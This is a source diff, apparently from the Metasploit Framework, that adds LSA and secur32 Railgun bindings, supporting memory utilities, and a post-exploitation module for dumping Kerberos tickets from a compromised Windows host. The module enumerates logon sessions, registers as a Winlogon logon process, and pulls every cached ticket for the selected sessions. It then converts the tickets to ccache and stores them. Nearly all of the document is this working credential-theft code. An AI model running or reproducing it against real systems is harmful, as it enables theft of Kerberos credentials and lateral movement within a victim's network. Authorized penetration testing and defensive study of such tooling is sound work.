status = ::WindowsError::NTStatus.find_by_retval(result['return']).first
print_error("Failed to call the authentication package. LsaCallAuthenticationPackage failed with: #{status}")
return nil
end
unless result['ProtocolStatus'] == ::WindowsError::NTStatus::STATUS_SUCCESS
status = lsa_nt_status_to_win_error(result['ProtocolStatus'])
print_error("Failed to call the authentication package. LsaCallAuthenticationPackage authentication package failed with: #{status}")
return nil
end
return nil if result['ProtocolReturnBuffer'] == 0
LsaPointer.new(result['ProtocolReturnBuffer'], session.railgun.memread(result['ProtocolReturnBuffer'], result['ReturnBufferLength']))
end
def lsa_connect_untrusted
result = session.railgun.secur32.LsaConnectUntrusted(4)
unless result['return'] == ::WindowsError::NTStatus::STATUS_SUCCESS
status = ::WindowsError::NTStatus.find_by_retval(result['return']).first
print_error("Failed to obtain a handle to LSA. LsaConnectUntrusted failed with: #{status.to_s}")
return nil
end
result['LsaHandle']
end
def lsa_deregister_logon_process(handle)
result = session.railgun.secur32.LsaDeregisterLogonProcess(handle)
unless result['return'] == ::WindowsError::NTStatus::STATUS_SUCCESS
status = ::WindowsError::NTStatus.find_by_retval(result['return']).first
print_error("Failed to close the handle to LSA. LsaDeregisterLogonProcess failed with: #{status.to_s}")
return nil
end
true
end
def lsa_enumerate_logon_sessions
result = session.railgun.secur32.LsaEnumerateLogonSessions(4, 4)
unless result['return'] == ::WindowsError::NTStatus::STATUS_SUCCESS
status = ::WindowsError::NTStatus.find_by_retval(result['return']).first
print_error("Failed to enumerate logon sessions. LsaEnumerateLogonSessions failed with: #{status.to_s}")
return nil
end
return [] if result['LogonSessionCount'] == 0
luids = BinData::Array.new(type: :ms_dtyp_luid, initial_length: result['LogonSessionCount'])
luids.read(session.railgun.memread(result['LogonSessionList'], luids.num_bytes))
session.railgun.secur32.LsaFreeReturnBuffer(result['LogonSessionList'])
luids
end
def lsa_get_logon_session_data(luid)
case session.native_arch
when ARCH_X64
logon_session_data = SECURITY_LOGON_SESSION_DATA_x64.new
result = session.railgun.secur32.LsaGetLogonSessionData(luid, 8)
when ARCH_X86
logon_session_data = SECURITY_LOGON_SESSION_DATA_x86.new
result = session.railgun.secur32.LsaGetLogonSessionData(luid, 4)
else
raise NotImplementedError, "Unsupported session architecture: #{session.native_arch}"
end
unless result['return'] == ::WindowsError::NTStatus::STATUS_SUCCESS
status = ::WindowsError::NTStatus.find_by_retval(result['return']).first
print_error("Failed to obtain logon session data. LsaGetLogonSessionData failed with: #{status.to_s}")
return nil
end
logon_session_data.read(session.railgun.memread(result['ppLogonSessionData'], logon_session_data.num_bytes))
LsaPointer.new(result['ppLogonSessionData'], logon_session_data)
end
def lsa_lookup_authentication_package(handle, package_name)
package_name = lsa_string(package_name)
return nil if package_name.nil?
result = session.railgun.secur32.LsaLookupAuthenticationPackage(handle, package_name, 4)
session.railgun.util.free_string(package_name.buffer)
unless result['return'] == ::WindowsError::NTStatus::STATUS_SUCCESS
status = ::WindowsError::NTStatus.find_by_retval(result['return']).first
print_error("Failed to lookup the authentication package. LsaLookupAuthenticationPackage failed with: #{status.to_s}")
return nil
end
result['AuthenticationPackage']
end
def lsa_nt_status_to_win_error(nt_status)
::WindowsError::Win32.find_by_retval(session.railgun.advapi32.LsaNtStatusToWinError(nt_status)['return']).first
end
def lsa_register_logon_process
logon_process_name = lsa_string('Winlogon')
return nil if logon_process_name.nil?
result = session.railgun.secur32.LsaRegisterLogonProcess(logon_process_name.to_binary_s, 4, 4)
session.railgun.util.free_string(logon_process_name.buffer)
unless result['return'] == ::WindowsError::NTStatus::STATUS_SUCCESS
status = ::WindowsError::NTStatus.find_by_retval(result['return']).first
print_error("Failed to obtain a handle to LSA. LsaRegisterLogonProcess failed with: #{status.to_s}")
return nil
end
result['LsaHandle']
end
end
end
end
end

View File

@ -1261,6 +1261,16 @@ class Def_windows_advapi32
["PBLOB","GenericMapping","in"], ["PBLOB","GenericMapping","in"],
]) ])
dll.add_function('ConvertSidToStringSidA', 'BOOL',[
["LPVOID", "Sid", "in"],
["PLPVOID", "StringSid", "out"],
])
dll.add_function('ConvertSidToStringSidW', 'BOOL',[
["LPVOID", "Sid", "in"],
["PLPVOID", "StringSid", "out"],
])
dll.add_function('ConvertStringSidToSidA', 'BOOL',[ dll.add_function('ConvertStringSidToSidA', 'BOOL',[
["PCHAR","StringSid","in"], ["PCHAR","StringSid","in"],
["PLPVOID","pSid","out"], ["PLPVOID","pSid","out"],
@ -1796,6 +1806,10 @@ class Def_windows_advapi32
["PBLOB","lpLuid","out"], ["PBLOB","lpLuid","out"],
]) ])
dll.add_function('LsaNtStatusToWinError', 'ULONG',[
["NTSTATUS", "Status", "in"]
])
dll.add_function('MakeAbsoluteSD', 'BOOL',[ dll.add_function('MakeAbsoluteSD', 'BOOL',[
["PBLOB","pSelfRelativeSecurityDescriptor","in"], ["PBLOB","pSelfRelativeSecurityDescriptor","in"],
["PBLOB","pAbsoluteSecurityDescriptor","out"], ["PBLOB","pAbsoluteSecurityDescriptor","out"],
@ -1936,13 +1950,13 @@ class Def_windows_advapi32
]) ])
dll.add_function('OpenProcessToken', 'BOOL',[ dll.add_function('OpenProcessToken', 'BOOL',[
["DWORD","ProcessHandle","in"], ["HANDLE","ProcessHandle","in"],
["DWORD","DesiredAccess","in"], ["DWORD","DesiredAccess","in"],
["PHANDLE","TokenHandle","out"], ["PHANDLE","TokenHandle","out"],
]) ])
dll.add_function('OpenThreadToken', 'BOOL',[ dll.add_function('OpenThreadToken', 'BOOL',[
["DWORD","ThreadHandle","in"], ["HANDLE","ThreadHandle","in"],
["DWORD","DesiredAccess","in"], ["DWORD","DesiredAccess","in"],
["BOOL","OpenAsSelf","in"], ["BOOL","OpenAsSelf","in"],
["PHANDLE","TokenHandle","out"], ["PHANDLE","TokenHandle","out"],

View File

@ -0,0 +1,64 @@
# -*- coding: binary -*-
module Rex
module Post
module Meterpreter
module Extensions
module Stdapi
module Railgun
module Def
class Def_windows_secur32
def self.create_library(constant_manager, library_path = 'secur32')
dll = Library.new(library_path, constant_manager)
dll.add_function('LsaCallAuthenticationPackage', 'NTSTATUS', [
['HANDLE', 'LsaHandle', 'in'],
['ULONG', 'AuthenticationPackage', 'in'],
['PBLOB', 'ProtocolSubmitBuffer', 'in'],
['ULONG', 'SubmitBufferLength', 'in'],
['PLPVOID', 'ProtocolReturnBuffer', 'out'],
['PULONG', 'ReturnBufferLength', 'out'],
['PULONG', 'ProtocolStatus', 'out']
])
dll.add_function('LsaConnectUntrusted', 'NTSTATUS', [
['PHANDLE', 'LsaHandle', 'out']
])
dll.add_function('LsaDeregisterLogonProcess', 'NTSTATUS', [
['HANDLE', 'LsaHandle', 'in']
])
dll.add_function('LsaEnumerateLogonSessions', 'NTSTATUS', [
['PULONG', 'LogonSessionCount', 'out'],
['PLPVOID', 'LogonSessionList', 'out']
])
dll.add_function('LsaFreeReturnBuffer', 'NTSTATUS', [
['LPVOID', 'Buffer', 'in']
])
dll.add_function('LsaGetLogonSessionData', 'NTSTATUS', [
['PBLOB', 'LogonId', 'in'],
['PLPVOID', 'ppLogonSessionData', 'out']
])
dll.add_function('LsaLookupAuthenticationPackage', 'NTSTATUS', [
['HANDLE', 'LsaHandle', 'in'],
['PBLOB', 'PackageName', 'in'],
['PULONG', 'AuthenticationPackage', 'out']
])
dll.add_function('LsaRegisterLogonProcess', 'NTSTATUS', [
['PBLOB', 'LogonProcessName', 'in'],
['PHANDLE', 'LsaHandle', 'out'],
['PULONG', 'SecurityMode', 'out']
])
return dll
end
end
end; end; end; end; end; end; end

View File

@ -44,15 +44,16 @@ class Library
include LibraryHelper include LibraryHelper
@@datatype_map = { @@datatype_map = {
'HANDLE' => 'LPVOID', 'HANDLE' => 'LPVOID',
# really should be PVOID* but LPVOID is handled specially with the 'L' prefix to *not* treat it as a pointer, and # really should be PVOID* but LPVOID is handled specially with the 'L' prefix to *not* treat it as a pointer, and
# for railgun's purposes LPVOID == ULONG_PTR # for railgun's purposes LPVOID == ULONG_PTR
'PHANDLE' => 'PULONG_PTR', 'PHANDLE' => 'PULONG_PTR',
'SIZE_T' => 'ULONG_PTR', 'SIZE_T' => 'ULONG_PTR',
'PSIZE_T' => 'PULONG_PTR', 'PSIZE_T' => 'PULONG_PTR',
'PLPVOID' => 'PULONG_PTR', 'PLPVOID' => 'PULONG_PTR',
'ULONG' => 'DWORD', 'ULONG' => 'DWORD',
'PULONG' => 'PDWORD' 'PULONG' => 'PDWORD',
'NTSTATUS' => 'DWORD'
}.freeze }.freeze
attr_accessor :functions attr_accessor :functions
@ -206,10 +207,14 @@ class Library
#puts " processing (#{param_desc[0]}, #{param_desc[1]}, #{param_desc[2]})" #puts " processing (#{param_desc[0]}, #{param_desc[1]}, #{param_desc[2]})"
buffer = nil buffer = nil
# is it a pointer to a buffer on our stack # is it a pointer to a buffer on our stack
if ['PULONG_PTR', 'PDWORD', 'PWCHAR', 'PCHAR', 'PBLOB'].include? param_desc[0] if ['PULONG_PTR', 'PDWORD', 'PWCHAR', 'PCHAR', 'PBLOB'].include?(param_desc[0])
#puts ' pointer' if ['PWCHAR', 'PCHAR', 'PBLOB'].include?(param_desc[0]) && param_desc[2] == 'in' && args[param_idx].is_a?(Integer)
if args[param_idx] == nil # null pointer? # allow PWCHAR, PCHAR and PBLOB to also be passed as a pointer instead of a buffer
buffer = [0].pack(native) # type: DWORD (so the library does not rebase it) buffer = [0].pack(native)
num = param_to_number(args[param_idx])
buffer += [num].pack(native)
elsif args[param_idx] == nil # null pointer?
buffer = [0].pack(native) # type: LPVOID (so the library does not rebase it)
buffer += [0].pack(native) # value: 0 buffer += [0].pack(native) # value: 0
elsif param_desc[2] == 'in' elsif param_desc[2] == 'in'
buffer = [1].pack(native) buffer = [1].pack(native)

View File

@ -117,13 +117,18 @@ module LibraryHelper
val = param_to_number(args[param_idx]) val = param_to_number(args[param_idx])
buffer = [val].pack('V') buffer = [val].pack('V')
when "PWCHAR" when "PWCHAR"
raise "param #{param_desc[1]}: string expected" unless args[param_idx].class == String next if args[param_idx].is_a?(Integer) && direction == 'in'
raise "param #{param_desc[1]}: string or integer expected" unless args[param_idx].class == String
buffer = str_to_uni_z(args[param_idx]) buffer = str_to_uni_z(args[param_idx])
when "PCHAR" when "PCHAR"
raise "param #{param_desc[1]}: string expected" unless args[param_idx].class == String next if args[param_idx].is_a?(Integer) && direction == 'in'
raise "param #{param_desc[1]}: string or integer expected" unless args[param_idx].class == String
buffer = str_to_ascii_z(args[param_idx]) buffer = str_to_ascii_z(args[param_idx])
when "PBLOB" when "PBLOB"
raise "param #{param_desc[1]}: please supply your BLOB as string!" unless args[param_idx].class == String next if args[param_idx].is_a?(Integer) && direction == 'in'
args[param_idx] = args[param_idx].to_binary_s if args[param_idx].is_a?(BinData::Struct)
raise "param #{param_desc[1]}: string or integer expected" unless args[param_idx].class == String
buffer = args[param_idx] buffer = args[param_idx]
# other types (non-pointers) don't reference buffers # other types (non-pointers) don't reference buffers
# and don't need any treatment here # and don't need any treatment here
@ -145,8 +150,6 @@ module LibraryHelper
return [layout, blob] return [layout, blob]
end end
end end
end; end; end; end; end; end; end; end; end; end; end; end;

View File

@ -93,7 +93,8 @@ class Railgun
'psapi', 'psapi',
'dbghelp', 'dbghelp',
'winspool', 'winspool',
'spoolss' 'spoolss',
'secur32'
].freeze ].freeze
}.freeze }.freeze
@ -186,7 +187,7 @@ class Railgun
# LPVOID parameters) # LPVOID parameters)
# #
def memwrite(address, data, length=nil) def memwrite(address, data, length=nil)
data = data.to_binary_s if data.is_a?(BinData::Struct)
length = data.length if length.nil? length = data.length if length.nil?
raise "Invalid parameters." if(not address or not data or not length) raise "Invalid parameters." if(not address or not data or not length)

View File

@ -317,6 +317,7 @@ class Util
def initialize(railgun, arch) def initialize(railgun, arch)
@railgun = railgun @railgun = railgun
@is_64bit = arch == ARCH_X64 @is_64bit = arch == ARCH_X64
@process_heap = nil
end end
# #
@ -348,6 +349,28 @@ class Util
return pointer.nil? || pointer == 0 return pointer.nil? || pointer == 0
end end
def alloc_and_write_data(data)
return nil if data.nil? || process_heap.nil?
result = railgun.kernel32.HeapAlloc(process_heap, railgun.const('HEAP_ZERO'), data.length)
return nil if result['return'].nil?
addr = result['return']
return nil unless railgun.memwrite(addr, data, data.length)
addr
end
def free_data(*ptrs)
return false if ptrs.empty?
return false if process_heap.nil?
results = railgun.multi(
ptrs.map { |ptr| ['kernel32', 'HeapFree', [process_heap, 0, ptr.to_i]] }
)
results.map { |res| res['return'] }.all?
end
# #
# Reads null-terminated unicode strings from memory. # Reads null-terminated unicode strings from memory.
# #
@ -382,21 +405,13 @@ class Util
# InitializeUnicodeStr(&uStr, sL"string"); # InitializeUnicodeStr(&uStr, sL"string");
# #
def alloc_and_write_wstring(value) def alloc_and_write_wstring(value)
return nil if value == nil return nil if value.nil?
data = str_to_uni_z(value) alloc_and_write_data(str_to_uniz_a(value))
result = railgun.kernel32.VirtualAlloc(nil, data.length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)
if result['return'].nil?
return nil
end
addr = result['return']
if railgun.memwrite(addr, data, data.length)
return addr
else
return nil
end
end end
alias free_wstring free_data
# #
# Write ASCII strings to memory. # Write ASCII strings to memory.
# #
@ -404,21 +419,13 @@ class Util
# InitializeStr(&Str,"string"); # InitializeStr(&Str,"string");
# #
def alloc_and_write_string(value) def alloc_and_write_string(value)
return nil if value == nil return nil if value.nil?
data = str_to_ascii_z(value) alloc_and_write_data(str_to_ascii_z(value))
result = railgun.kernel32.VirtualAlloc(nil, data.length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)
if result['return'].nil?
return nil
end
addr = result['return']
if railgun.memwrite(addr, data, data.length)
return addr
else
return nil
end
end end
alias free_string free_data
# #
# Reads null-terminated ASCII strings from memory. # Reads null-terminated ASCII strings from memory.
# #
@ -704,6 +711,16 @@ class Util
protected protected
attr_accessor :railgun, :is_64bit attr_accessor :railgun, :is_64bit
private
def process_heap
return @process_heap unless @process_heap.nil?
handle = railgun.kernel32.GetProcessHeap()['return']
return nil if handle == 0
@process_heap = handle
end
end # Util end # Util
end # Railgun end # Railgun
end # Stdapi end # Stdapi

View File

@ -749,4 +749,32 @@ module Rex::Proto::MsDtyp
offset offset
end end
end end
# [2.3.7 LUID](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/48cbee2a-0790-45f2-8269-931d7083b2c3)
class MsDtypLuid < BinData::Record
endian :little
uint32 :low_part
int32 :high_part
def to_s
"0x#{high_part.to_i.to_s(16)}#{low_part.to_i.to_s(16).rjust(8, '0')}"
end
end
# [2.3.5 LARGE_INTEGER](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/e904b1ba-f774-4203-ba1b-66485165ab1a)
class MsDtypLargeInteger < BinData::Record
endian :big_and_little
uint32 :low_part
int32 :high_part
def to_datetime
RubySMB::Field::FileTime.new(to_i).to_datetime
end
def to_i
(high_part.to_i << 32) | low_part.to_i
end
end
end end

View File

@ -135,9 +135,7 @@ class MetasploitModule < Msf::Post
addr = session.railgun.util.alloc_and_write_wstring('Kali-Team') addr = session.railgun.util.alloc_and_write_wstring('Kali-Team')
client.railgun.user32.SendMessageW(window_hwnd, 'WM_GETTEXT', 1024, addr) client.railgun.user32.SendMessageW(window_hwnd, 'WM_GETTEXT', 1024, addr)
text = session.railgun.util.read_wstring(addr) text = session.railgun.util.read_wstring(addr)
client.railgun.multi([ session.railgun.util.free_data(addr)
['kernel32', 'VirtualFree', [addr, 0, MEM_RELEASE]],
])
if text.strip == '' if text.strip == ''
return nil return nil
else else

View File

@ -0,0 +1,347 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/proto/kerberos/model/kerberos_flags'
require 'rex/proto/kerberos/model/ticket_flags'
require 'rex/proto/ms_dtyp'
class MetasploitModule < Msf::Post
include Msf::Post::Process
include Msf::Post::Windows::Lsa
include Msf::Exploit::Remote::Kerberos::Ticket
CURRENT_PROCESS = -1
CURRENT_THREAD = -2
# https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ne-ntsecapi-security_logon_type
SECURITY_LOGON_TYPE = {
0 => 'UndefinedLogonType',
2 => 'Interactive',
3 => 'Network',
4 => 'Batch',
5 => 'Service',
6 => 'Proxy',
7 => 'Unlock',
8 => 'NetworkCleartext',
9 => 'NewCredentials',
10 => 'RemoteInteractive',
11 => 'CachedInteractive',
12 => 'CachedRemoteInteractive',
13 => 'CachedUnlock'
}.freeze
# https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ne-ntsecapi-kerb_protocol_message_type
KERB_RETRIEVE_ENCODED_TICKET_MESSAGE = 8
KERB_QUERY_TICKET_CACHE_EX_MESSAGE = 14
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Kerberos Ticket Management',
'Description' => %q{
Manage kerberos tickets on a compromised host.
},
'License' => MSF_LICENSE,
'Author' => [
'Will Schroeder', # original idea/research
'Spencer McIntyre'
],
'References' => [
[ 'URL', 'https://github.com/GhostPack/Rubeus' ],
[ 'URL', 'https://github.com/wavvs/nanorobeus' ]
],
'Platform' => ['win'],
'SessionTypes' => %w[meterpreter],
'Actions' => [
['DUMP_TICKETS', { 'Description' => 'Dump the Kerberos tickets' }],
['ENUM_LUIDS', { 'Description' => 'Enumerate session logon LUIDs' }],
['SHOW_LUID', { 'Description' => 'Show the current LUID' }],
],
'DefaultAction' => 'DUMP_TICKETS',
'Notes' => {
'Stability' => [],
'Reliability' => [],
'SideEffects' => []
},
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_net_resolve_host
stdapi_railgun_api
stdapi_railgun_memread
stdapi_railgun_memwrite
]
}
}
)
)
register_options([
OptString.new(
'LUID',
[false, 'An optional logon session LUID to target'],
conditions: [ 'ACTION', 'in', %w[SHOW_LUID DUMP_TICKETS]],
regex: /^(0x[a-fA-F0-9]{1,16})?$/
),
OptString.new(
'SERVICE',
[false, 'An optional service name wildcard to target (e.g. krbtgt/*)'],
conditions: %w[ACTION == DUMP_TICKETS]
)
])
end
def run
case session.native_arch
when ARCH_X64
@ptr_size = 8
when ARCH_X86
@ptr_size = 4
else
fail_with(Failure::NoTarget, "This module does not support #{session.native_arch} sessions.")
end
@hostname_cache = {}
@indent_level = 0
send("action_#{action.name.downcase}")
end
def action_dump_tickets
handle = lsa_register_logon_process
luids = nil
if handle
if target_luid
luids = [ target_luid ]
else
luids = lsa_enumerate_logon_sessions
print_error('Failed to enumerate logon sessions.') if luids.nil?
end
trusted = true
else
handle = lsa_connect_untrusted
# if we can't register a logon process then we can only act on the current LUID so skip enumeration
fail_with(Failure::Unknown, 'Failed to obtain a handle to LSA.') if handle.nil?
trusted = false
end
luids ||= [ get_current_luid ]
print_status("LSA Handle: 0x#{handle.to_s(16).rjust(@ptr_size * 2, '0')}")
auth_package = lsa_lookup_authentication_package(handle, 'kerberos')
if auth_package.nil?
lsa_deregister_logon_process(handle)
fail_with(Failure::Unknown, 'Failed to lookup the Kerberos authentication package.')
end
luids.each do |luid|
dump_for_luid(handle, auth_package, luid, null_luid: !trusted)
end
lsa_deregister_logon_process(handle)
end
def action_enum_luids
current_luid = get_current_luid
luids = lsa_enumerate_logon_sessions
fail_with(Failure::Unknown, 'Failed to enumerate logon sessions.') if luids.nil?
luids.each do |luid|
logon_session_data_ptr = lsa_get_logon_session_data(luid)
unless logon_session_data_ptr
print_status("LogonSession LUID: #{luid}")
next
end
print_logon_session_summary(logon_session_data_ptr, annotation: luid == current_luid ? '%bld(current)%clr' : '')
session.railgun.secur32.LsaFreeReturnBuffer(logon_session_data_ptr.value)
end
end
def action_show_luid
current_luid = get_current_luid
luid = target_luid || current_luid
logon_session_data_ptr = lsa_get_logon_session_data(luid)
return unless logon_session_data_ptr
print_logon_session_summary(logon_session_data_ptr, annotation: luid == current_luid ? '%bld(current)%clr' : '')
session.railgun.secur32.LsaFreeReturnBuffer(logon_session_data_ptr.value)
end
def dump_for_luid(handle, auth_package, luid, null_luid: false)
logon_session_data_ptr = lsa_get_logon_session_data(luid)
return unless logon_session_data_ptr
print_logon_session_summary(logon_session_data_ptr)
session.railgun.secur32.LsaFreeReturnBuffer(logon_session_data_ptr.value)
logon_session_data_ptr.contents.logon_id.clear if null_luid
query_tkt_cache_req = KERB_QUERY_TKT_CACHE_REQUEST.new(
message_type: KERB_QUERY_TICKET_CACHE_EX_MESSAGE,
logon_id: logon_session_data_ptr.contents.logon_id
)
query_tkt_cache_res_ptr = lsa_call_authentication_package(handle, auth_package, query_tkt_cache_req)
if query_tkt_cache_res_ptr
indented_print do
dump_session_tickets(handle, auth_package, logon_session_data_ptr, query_tkt_cache_res_ptr)
end
session.railgun.secur32.LsaFreeReturnBuffer(query_tkt_cache_res_ptr.value)
end
end
def dump_session_tickets(handle, auth_package, logon_session_data_ptr, query_tkt_cache_res_ptr)
case session.native_arch
when ARCH_X64
query_tkt_cache_response_klass = KERB_QUERY_TKT_CACHE_RESPONSE_x64
retrieve_tkt_request_klass = KERB_RETRIEVE_TKT_REQUEST_x64
retrieve_tkt_response_klass = KERB_RETRIEVE_TKT_RESPONSE_x64
when ARCH_X86
query_tkt_cache_response_klass = KERB_QUERY_TKT_CACHE_RESPONSE_x86
retrieve_tkt_request_klass = KERB_RETRIEVE_TKT_REQUEST_x86
retrieve_tkt_response_klass = KERB_RETRIEVE_TKT_RESPONSE_x86
end
tkt_cache = query_tkt_cache_response_klass.read(query_tkt_cache_res_ptr.contents)
tkt_cache.tickets.each_with_index do |ticket, index|
server_name = read_lsa_unicode_string(ticket.server_name)
if datastore['SERVICE'].present? && !File.fnmatch?(datastore['SERVICE'], server_name.split('@').first, File::FNM_CASEFOLD | File::FNM_DOTMATCH)
next
end
server_name_wz = session.railgun.util.str_to_uni_z(server_name)
print_status("Ticket[#{index}]")
indented_print do
retrieve_tkt_req = retrieve_tkt_request_klass.new(
message_type: KERB_RETRIEVE_ENCODED_TICKET_MESSAGE,
logon_id: logon_session_data_ptr.contents.logon_id, cache_options: 8
)
ptr = session.railgun.util.alloc_and_write_data(retrieve_tkt_req.to_binary_s + server_name_wz)
next if ptr.nil?
retrieve_tkt_req.target_name.len = server_name_wz.length - 2
retrieve_tkt_req.target_name.maximum_len = server_name_wz.length
retrieve_tkt_req.target_name.buffer = ptr + retrieve_tkt_req.num_bytes
session.railgun.memwrite(ptr, retrieve_tkt_req)
retrieve_tkt_res_ptr = lsa_call_authentication_package(handle, auth_package, ptr, submit_buffer_length: retrieve_tkt_req.num_bytes + server_name_wz.length)
session.railgun.util.free_data(ptr)
next if retrieve_tkt_res_ptr.nil?
retrieve_tkt_res = retrieve_tkt_response_klass.read(retrieve_tkt_res_ptr.contents)
if retrieve_tkt_res.ticket.encoded_ticket != 0
ticket = kirbi_to_ccache(session.railgun.memread(retrieve_tkt_res.ticket.encoded_ticket, retrieve_tkt_res.ticket.encoded_ticket_size))
ticket_host = ticket.credentials.first.server.components.last.snapshot
ticket_host = resolve_host(ticket_host) if ticket_host
Rex::Proto::Kerberos::CredentialCache::Krb5Ccache.read(ticket.encode)
Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache(ticket, framework_module: self, host: ticket_host)
presenter = Rex::Proto::Kerberos::CredentialCache::Krb5CcachePresenter.new(ticket)
print_line(presenter.present.split("\n").map { |line| " #{print_prefix}#{line}" }.join("\n"))
end
session.railgun.secur32.LsaFreeReturnBuffer(retrieve_tkt_res_ptr.value)
end
end
end
def target_luid
return nil if datastore['LUID'].blank?
val = datastore['LUID'].to_i(16)
Rex::Proto::MsDtyp::MsDtypLuid.new(
high_part: (val & 0xffffffff) >> 32,
low_part: (val & 0xffffffff)
)
end
def kirbi_to_ccache(input)
krb_cred = Rex::Proto::Kerberos::Model::KrbCred.decode(input)
Msf::Exploit::Remote::Kerberos::TicketConverter.kirbi_to_ccache(krb_cred)
end
def get_current_luid
luid = get_token_statistics&.authentication_id
fail_with(Failure::Unknown, 'Failed to obtain the current LUID.') unless luid
luid
end
def get_token_statistics(token: nil)
if token.nil?
result = session.railgun.advapi32.OpenThreadToken(CURRENT_THREAD, session.railgun.const('TOKEN_QUERY'), false, @ptr_size)
unless result['return']
error = ::WindowsError::Win32.find_by_retval(result['GetLastError']).first
unless error == ::WindowsError::Win32::ERROR_NO_TOKEN
print_error("Failed to open the current thread token. OpenThreadToken failed with: #{error}")
return nil
end
result = session.railgun.advapi32.OpenProcessToken(CURRENT_PROCESS, session.railgun.const('TOKEN_QUERY'), @ptr_size)
unless result['return']
error = ::WindowsError::Win32.find_by_retval(result['GetLastError']).first
print_error("Failed to open the current process token. OpenProcessToken failed with: #{error}")
return nil
end
end
token = result['TokenHandle']
end
result = session.railgun.advapi32.GetTokenInformation(token, 10, TOKEN_STATISTICS.new.num_bytes, TOKEN_STATISTICS.new.num_bytes, @ptr_size)
unless result['return']
error = ::WindowsError::Win32.find_by_retval(result['GetLastError']).first
print_error("Failed to obtain the token information. GetTokenInformation failed with: #{error}")
return nil
end
TOKEN_STATISTICS.read(result['TokenInformation'])
end
def resolve_host(name)
name = name.dup.downcase # normalize the case since DNS is case insensitive
return @hostname_cache[name] if @hostname_cache.key?(name)
vprint_status("Resolving hostname: #{name}")
begin
address = session.net.resolve.resolve_host(name)[:ip]
rescue Rex::Post::Meterpreter::RequestError => e
elog("Unable to resolve #{name.inspect}", error: e)
end
@hostname_cache[name] = address
end
def print_logon_session_summary(logon_session_data_ptr, annotation: nil)
sid = '???'
if datastore['VERBOSE'] && logon_session_data_ptr.contents.psid != 0
# reading the SID requires 3 railgun calls so only do it in verbose mode to speed things up
# reading the data directly wouldn't be much faster because SIDs are of a variable length
result = session.railgun.advapi32.ConvertSidToStringSidA(logon_session_data_ptr.contents.psid.to_i, @ptr_size)
if result
sid = session.railgun.util.read_string(result['StringSid'])
session.railgun.kernel32.LocalFree(result['StringSid'])
end
end
print_status("LogonSession LUID: #{logon_session_data_ptr.contents.logon_id} #{annotation}")
indented_print do
print_status("User: #{read_lsa_unicode_string(logon_session_data_ptr.contents.logon_domain)}\\#{read_lsa_unicode_string(logon_session_data_ptr.contents.user_name)}")
print_status("UserSID: #{sid}") if datastore['VERBOSE']
print_status("Session: #{logon_session_data_ptr.contents.session}")
print_status("AuthenticationPackage: #{read_lsa_unicode_string(logon_session_data_ptr.contents.authentication_package)}")
print_status("LogonType: #{SECURITY_LOGON_TYPE.fetch(logon_session_data_ptr.contents.logon_type.to_i, '???')} (#{logon_session_data_ptr.contents.logon_type.to_i})")
print_status("LogonTime: #{logon_session_data_ptr.contents.logon_time.to_datetime.localtime}")
print_status("LogonServer: #{read_lsa_unicode_string(logon_session_data_ptr.contents.logon_server)}") if datastore['VERBOSE']
print_status("LogonServerDNSDomain: #{read_lsa_unicode_string(logon_session_data_ptr.contents.dns_domain_name)}") if datastore['VERBOSE']
print_status("UserPrincipalName: #{read_lsa_unicode_string(logon_session_data_ptr.contents.upn)}") if datastore['VERBOSE']
end
end
def peer
nil # drop the peer prefix from messages
end
def indented_print(&block)
@indent_level += 1
block.call
ensure
@indent_level -= 1
end
def print_prefix
super + (' ' * @indent_level.to_i * 2)
end
end